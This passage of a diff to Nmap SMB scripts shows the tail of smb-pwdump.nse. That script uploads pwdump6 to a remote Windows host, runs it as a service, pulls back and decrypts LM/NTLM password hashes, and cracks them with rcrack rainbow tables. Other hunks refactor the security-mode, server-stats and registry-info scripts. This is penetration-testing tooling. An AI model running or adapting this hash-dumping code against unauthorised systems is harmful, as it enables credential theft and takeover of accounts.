_, a, b = bin.unpack("<II", decrypted_hex)
|
||||
userblock = userblock .. bin.pack(">II", a, b)
|
||||
end
|
||||
|
||||
local password_block = ""
|
||||
for j = 0, 3, 1 do
|
||||
local _, a, b = bin.unpack("<II", data, 4 + (j * 8))
|
||||
local encrypted = bin.pack(">II", a, b)
|
||||
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
|
||||
_, a, b = bin.unpack("<II", decrypted_hex)
|
||||
password_block = password_block .. bin.pack(">II", a, b)
|
||||
end
|
||||
|
||||
_, results[i]['username'] = bin.unpack("z", userblock)
|
||||
_, results[i]['ntlm'] = bin.unpack("H16", password_block)
|
||||
_, results[i]['lm'] = bin.unpack("H16", password_block, 17)
|
||||
|
||||
if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
|
||||
results[i]['lm'] = "NO PASSWORD*********************"
|
||||
end
|
||||
|
||||
if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
|
||||
results[i]['ntlm'] = "NO PASSWORD*********************"
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
|
||||
end
|
||||
end
|
||||
|
||||
status, close_result = smb.close_file(smbstate)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
return false, close_result
|
||||
end
|
||||
i = i + 1
|
||||
until(1 == 2)
|
||||
|
||||
smb.stop(smbstate)
|
||||
|
||||
return true, results
|
||||
end
|
||||
|
||||
-- TODO: Check for OpenSSL
|
||||
function go(host)
|
||||
local status, err
|
||||
local results
|
||||
local key
|
||||
|
||||
local key = ""
|
||||
local i
|
||||
|
||||
-- Start by cleaning up, just in case.
|
||||
cleanup(host)
|
||||
|
||||
-- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
|
||||
-- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
|
||||
-- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F
|
||||
-- without error, but eh? Debugging is easier when you can type the key in)
|
||||
local key_bytes = openssl.rand_bytes(16)
|
||||
for i = 1, 16, 1 do
|
||||
key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
|
||||
end
|
||||
|
||||
-- Upload the files
|
||||
status, err = upload_files(host)
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't upload the files: %s", err)
|
||||
cleanup(host)
|
||||
return false, string.format("Couldn't upload the files: %s", err)
|
||||
end
|
||||
|
||||
-- Create the service
|
||||
status, err = msrpc.service_create(host, SERVICE, "c:\\servpw.exe")
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't create the service: %s", err)
|
||||
cleanup(host)
|
||||
|
||||
return false, string.format("Couldn't create the service on the remote machine: %s", err)
|
||||
end
|
||||
|
||||
-- Start the service
|
||||
status, err = msrpc.service_start(host, SERVICE, {PIPE, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't start the service: %s", err)
|
||||
cleanup(host)
|
||||
|
||||
return false, string.format("Couldn't start the service on the remote machine: %s", err)
|
||||
end
|
||||
|
||||
-- Read the data
|
||||
status, results = read_and_decrypt(host, key, PIPE)
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Error reading data from remote service")
|
||||
cleanup(host)
|
||||
|
||||
return false, string.format("Failed to read password data from the remote service: %s", err)
|
||||
end
|
||||
|
||||
-- Clean up what we did
|
||||
cleanup(host)
|
||||
|
||||
return true, results
|
||||
end
|
||||
|
||||
---Converts an array of accounts to a pwdump-like representation.
|
||||
--@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'.
|
||||
--@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will.
|
||||
--@return A string in the standard pwdump format.
|
||||
function accounts_to_pwdump(accounts, strict)
|
||||
local str = ""
|
||||
|
||||
for i=1, #accounts, 1 do
|
||||
if(accounts[i]['username'] ~= nil) then
|
||||
if(strict) then
|
||||
str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
|
||||
else
|
||||
if(accounts[i]['password']) then
|
||||
str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
|
||||
else
|
||||
str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return str
|
||||
end
|
||||
|
||||
|
||||
---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
|
||||
-- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2.
|
||||
function rainbow(accounts, rcrack, rtable)
|
||||
local pwdump = accounts_to_pwdump(accounts, true)
|
||||
local pwdump_file = os.tmpname()
|
||||
local file
|
||||
local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
|
||||
|
||||
-- Print a warning if 'charset.txt' isn't present
|
||||
file = io.open("charset.txt", "r")
|
||||
if(file == nil) then
|
||||
stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
|
||||
else
|
||||
io.close(file)
|
||||
end
|
||||
|
||||
-- Create the pwdump file
|
||||
stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
|
||||
file, err = io.open(pwdump_file, "w")
|
||||
if(file == nil) then
|
||||
return false, err
|
||||
end
|
||||
file:write(pwdump)
|
||||
file:close()
|
||||
|
||||
-- Start up rcrack
|
||||
stdnse.print_debug(1, "Starting rcrack (%s)", command)
|
||||
file, err = io.popen(command, "r")
|
||||
if(file == nil) then
|
||||
return false, err
|
||||
end
|
||||
|
||||
for line in file:lines() do
|
||||
stdnse.print_debug(2, "RCRACK: %s\n", line)
|
||||
if(string.find(line, "hex:") ~= nil) then
|
||||
local start_hex1 = 0
|
||||
local start_hex2 = 0
|
||||
local hex1, hex2
|
||||
local ascii1, ascii2
|
||||
local password
|
||||
local i
|
||||
|
||||
-- First, find the last place in the string that starts with "hex:"
|
||||
repeat
|
||||
local _, pos = string.find(line, " hex:", start_hex1)
|
||||
if(pos ~= nil) then
|
||||
start_hex1 = pos + 1
|
||||
end
|
||||
until pos == nil
|
||||
|
||||
-- Get the first part of the hex
|
||||
if(string.sub(line, start_hex1, start_hex1 + 9) == "<notfound>") then
|
||||
-- If it wasn't found, then set it as such and go to after the "not found" part
|
||||
ascii1 = "<notfound>"
|
||||
start_hex2 = start_hex1 + 10
|
||||
else
|
||||
-- If it was found, convert to ascii
|
||||
ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
|
||||
start_hex2 = start_hex1 + 14
|
||||
end
|
||||
|
||||
-- Get the second part of the hex
|
||||
if(string.sub(line, start_hex2) == "") then
|
||||
ascii2 = ""
|
||||
elseif(string.sub(line, start_hex2, start_hex2 + 9) == "<notfound>") then
|
||||
-- It wasn't found
|
||||
ascii2 = "<notfound>"
|
||||
else
|
||||
-- It was found, convert to ascii
|
||||
ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
|
||||
end
|
||||
|
||||
-- Join the two halves of the password together
|
||||
password = ascii1 .. ascii2
|
||||
|
||||
-- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
|
||||
i = string.find(line, " +" .. password)
|
||||
|
||||
username = string.sub(line, 1, i - 1)
|
||||
|
||||
-- Finally, find the username in the account table and add our entry
|
||||
for i=1, #accounts, 1 do
|
||||
if(accounts[i]['username'] ~= nil) then
|
||||
if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
|
||||
accounts[i]['password'] = password
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Close the process handle
|
||||
file:close()
|
||||
|
||||
-- Remove the pwdump file
|
||||
os.remove(pwdump_file)
|
||||
|
||||
return true, accounts
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local status, results
|
||||
local response = " \n"
|
||||
local rcrack = "rcrack"
|
||||
local rtable = nil
|
||||
|
||||
-- Check if we have the necessary files
|
||||
if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
|
||||
local err = " \n"
|
||||
err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
|
||||
if(nmap.fetchfile(FILE1) == nil) then
|
||||
err = err .. "- " .. FILE1 .. "\n"
|
||||
end
|
||||
if(nmap.fetchfile(FILE2) == nil) then
|
||||
err = err .. "- " .. FILE2 .. "\n"
|
||||
end
|
||||
err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
|
||||
err = err .. string.format("<http://foofus.net/fizzgig/pwdump/downloads.htm>")
|
||||
|
||||
return err
|
||||
end
|
||||
|
||||
status, results = go(host)
|
||||
|
||||
if(status == false) then
|
||||
return "ERROR: " .. results
|
||||
end
|
||||
|
||||
-- Only try cracking if strict is turned off
|
||||
if(nmap.registry.args.strict == nil) then
|
||||
-- Override the rcrack program
|
||||
if(nmap.registry.args.rcrack ~= nil) then
|
||||
rcrack = nmap.registry.args.rcrack
|
||||
end
|
||||
|
||||
-- Check if a table was passed
|
||||
if(nmap.registry.args.rtable ~= nil) then
|
||||
rtable = nmap.registry.args.rtable
|
||||
end
|
||||
|
||||
-- Check a spelling mistake that I keep making
|
||||
if(nmap.registry.args.rtables ~= nil) then
|
||||
rtable = nmap.registry.args.rtables
|
||||
end
|
||||
|
||||
-- Check if we actually got a table
|
||||
if(rtable ~= nil) then
|
||||
status, crack_results = rainbow(results, rcrack, rtable)
|
||||
if(status == false) then
|
||||
response = "ERROR cracking: " .. crack_results .. "\n"
|
||||
else
|
||||
results = crack_results
|
||||
end
|
||||
end
|
||||
|
||||
response = response .. accounts_to_pwdump(results, false)
|
||||
else
|
||||
response = response .. accounts_to_pwdump(results, true)
|
||||
end
|
||||
|
||||
return response
|
||||
end
|
||||
|
||||
|
||||
@@ -3,31 +3,10 @@ Returns information about the SMB security level determined by SMB.
|
||||
|
||||
Here is how to interpret the output:
|
||||
|
||||
* User-level authentication: Each user has a separate username/password that is used
|
||||
to log into the system. This is the default setup of pretty much everything
|
||||
these days.
|
||||
* Share-level authentication: The anonymous account should be used to log in, then
|
||||
the password is given (in plaintext) when a share is accessed. All users who
|
||||
have access to the share use this password. This was the original way of doing
|
||||
things, but isn't commonly seen, now. If a server uses share-level security,
|
||||
it is vulnerable to sniffing.
|
||||
* Challenge/response passwords supported: If enabled, the server can accept any
|
||||
type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set,
|
||||
the server can only accept plaintext passwords. Most servers are configured to
|
||||
use challenge/response these days. If a server is configured to accept plaintext
|
||||
passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although
|
||||
there are some brute-force attacks against them. Additionally, LM and NTLM can
|
||||
fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my
|
||||
writeup of it: http://www.skullsecurity.org/blog/?p=110).
|
||||
* Message signing: If required, all messages between the client and server must
|
||||
be signed by a shared key, derived from the password and the server
|
||||
challenge. If supported and not required, message signing is negotiated between
|
||||
clients and servers and used if both support and request it. By default,
|
||||
Windows clients don't sign messages, so if message signing isn't required by
|
||||
the server, messages probably won't be signed; additionally, if performing a
|
||||
man-in-the-middle attack, an attacker can negotiate no message signing. If
|
||||
message signing isn't required, the server is vulnerable to man-in-the-middle
|
||||
attacks or SMB-relay attacks.
|
||||
* User-level authentication: Each user has a separate username/password that is used to log into the system. This is the default setup of pretty much everything these days.
|
||||
* Share-level authentication: The anonymous account should be used to log in, then the password is given (in plaintext) when a share is accessed. All users who have access to the share use this password. This was the original way of doing things, but isn't commonly seen, now. If a server uses share-level security, it is vulnerable to sniffing.
|
||||
* Challenge/response passwords supported: If enabled, the server can accept any type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set, the server can only accept plaintext passwords. Most servers are configured to use challenge/response these days. If a server is configured to accept plaintext passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although there are some brute-force attacks against them. Additionally, LM and NTLM can fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my writeup of it: <http://www.skullsecurity.org/blog/?p=110>.
|
||||
* Message signing: If required, all messages between the client and server must be signed by a shared key, derived from the password and the server challenge. If supported and not required, message signing is negotiated between clients and servers and used if both support and request it. By default, Windows clients don't sign messages, so if message signing isn't required by the server, messages probably won't be signed; additionally, if performing a man-in-the-middle attack, an attacker can negotiate no message signing. If message signing isn't required, the server is vulnerable to man-in-the-middle attacks or SMB-relay attacks.
|
||||
|
||||
This script will allow you to use the <code>smb*</code> script arguments (to
|
||||
set the username and password, etc.), but it probably won't ever require them.
|
||||
|
||||
@@ -3,7 +3,7 @@ Attempts to grab the server's statistics over SMB and MSRPC, which uses TCP
|
||||
ports 445 or 139.
|
||||
|
||||
An administrator account is required to pull these statistics on most versions
|
||||
of Windows, and Vista doesn't seem to let even the administrator account pull them.
|
||||
of Windows, and Vista and above require UAC to be turned down.
|
||||
|
||||
Some of the numbers returned here don't feel right to me, but they're definitely
|
||||
the numbers that Windows returns. Take the values here with a grain of salt.
|
||||
@@ -44,65 +44,21 @@ end
|
||||
|
||||
action = function(host)
|
||||
|
||||
-- Create the SMB session
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
|
||||
if(status == false) then
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. smbstate
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Bind to SRVSVC service
|
||||
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. bind_result
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Call netservergetstatistics for 'server'
|
||||
status, netservergetstatistics_result = msrpc.srvsvc_netservergetstatistics(smbstate, host.ip)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. netservergetstatistics_result
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Stop the session
|
||||
smb.stop(smbstate)
|
||||
|
||||
-- Build the response
|
||||
local stats = netservergetstatistics_result['stat']
|
||||
local result, stats
|
||||
local response = " \n"
|
||||
local period = os.time() - stats['start']
|
||||
local period_str
|
||||
|
||||
-- Fix a couple values
|
||||
stats['bytessent'] = bit.bor(bit.lshift(stats['bytessent_high'], 32), stats['bytessent_low'])
|
||||
stats['bytesrcvd'] = bit.bor(bit.lshift(stats['bytesrcvd_high'], 32), stats['bytesrcvd_low'])
|
||||
result, stats = msrpc.get_server_stats(host)
|
||||
|
||||
if(period == 0) then
|
||||
period = 1
|
||||
end
|
||||
|
||||
if(period > 60 * 60 * 24) then
|
||||
period_str = string.format("%dd%dh%02dm%02ds", period / (60*60*24), (period % (60*60*24)) / 3600, (period % 3600) / 60, period % 60)
|
||||
elseif(period > 60 * 60) then
|
||||
period_str = string.format("%dh%02dm%02ds", period / 3600, (period % 3600) / 60, period % 60)
|
||||
if(result == false) then
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. stats
|
||||
else
|
||||
period_str = string.format("%02dm%02ds", period / 60, period % 60)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
response = response .. string.format("Server statistics collected since %s (%s):\n", os.date("%Y-%m-%d %H:%M:%S", stats['start']), period_str)
|
||||
response = response .. string.format("|_ Traffic %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessent'] / period, stats['bytesrcvd'], stats['bytesrcvd'] / period)
|
||||
response = response .. string.format("Server statistics collected since %s (%s):\n", stats['start_str'], stats['period_str'])
|
||||
response = response .. string.format("|_ Traffic %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond'])
|
||||
response = response .. string.format("|_ Failed logins: %d\n", stats['pwerrors'])
|
||||
response = response .. string.format("|_ Permission errors: %d, System errors: %d\n", stats['permerrors'], stats['syserrors'])
|
||||
response = response .. string.format("|_ Print jobs spooled: %s\n", stats['jobsqueued'])
|
||||
|
||||
@@ -1,20 +1,21 @@
|
||||
|
||||
description = [[
|
||||
Pulls back information about the remote system from the registry. Getting all
|
||||
of the information requires an administrative account, although a user account
|
||||
will still get a lot of it. Guest probably won't get any, nor will anonymous.
|
||||
This goes for all operating systems, including Windows 2000.
|
||||
|
||||
Windows Vista doesn't appear to have the WINREG binding (or it's different and
|
||||
I don't know it), so this doesn't support Vista at all.
|
||||
Windows Vista disables remote registry access by default, so unless itw as enabled,
|
||||
this script won't work.
|
||||
|
||||
If you know of more information stored in the Windows registry that could be interesting,
|
||||
post a message to the nmap-dev mailing list and I (Ron Bowes) will add it to my todo list.
|
||||
Adding new checks to this is extremely easy.
|
||||
|
||||
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
|
||||
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
|
||||
same code) won't show up again.
|
||||
WARNING: I have experienced crashes in regsvc.exe while making registry calls
|
||||
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
|
||||
but there's no guarantee that it (or a similar vuln in the same code) won't show
|
||||
up again. Since the process automatically restarts, it doesn't negatively impact
|
||||
the system, besides showing a message box to the user.
|
||||
]]
|
||||
|
||||
---
|
||||
@@ -202,6 +203,10 @@ action = function(host)
|
||||
|
||||
response = response .. string.format("Hardware\n")
|
||||
for i = 0, result['number_of_processors'] - 1, 1 do
|
||||
if(result['status-processornamestring'..i] == false) then
|
||||
result['status-processornamestring'..i] = "Unknown"
|
||||
end
|
||||
|
||||
response = response .. string.format("|_ CPU %d: %s [%dmhz %s]\n", i, result['processornamestring'..i], result['~mhz'..i], result['vendoridentifier'..i])
|
||||
response = response .. string.format("|_ Identifier %d: %s\n", i, result['identifier'..i])
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user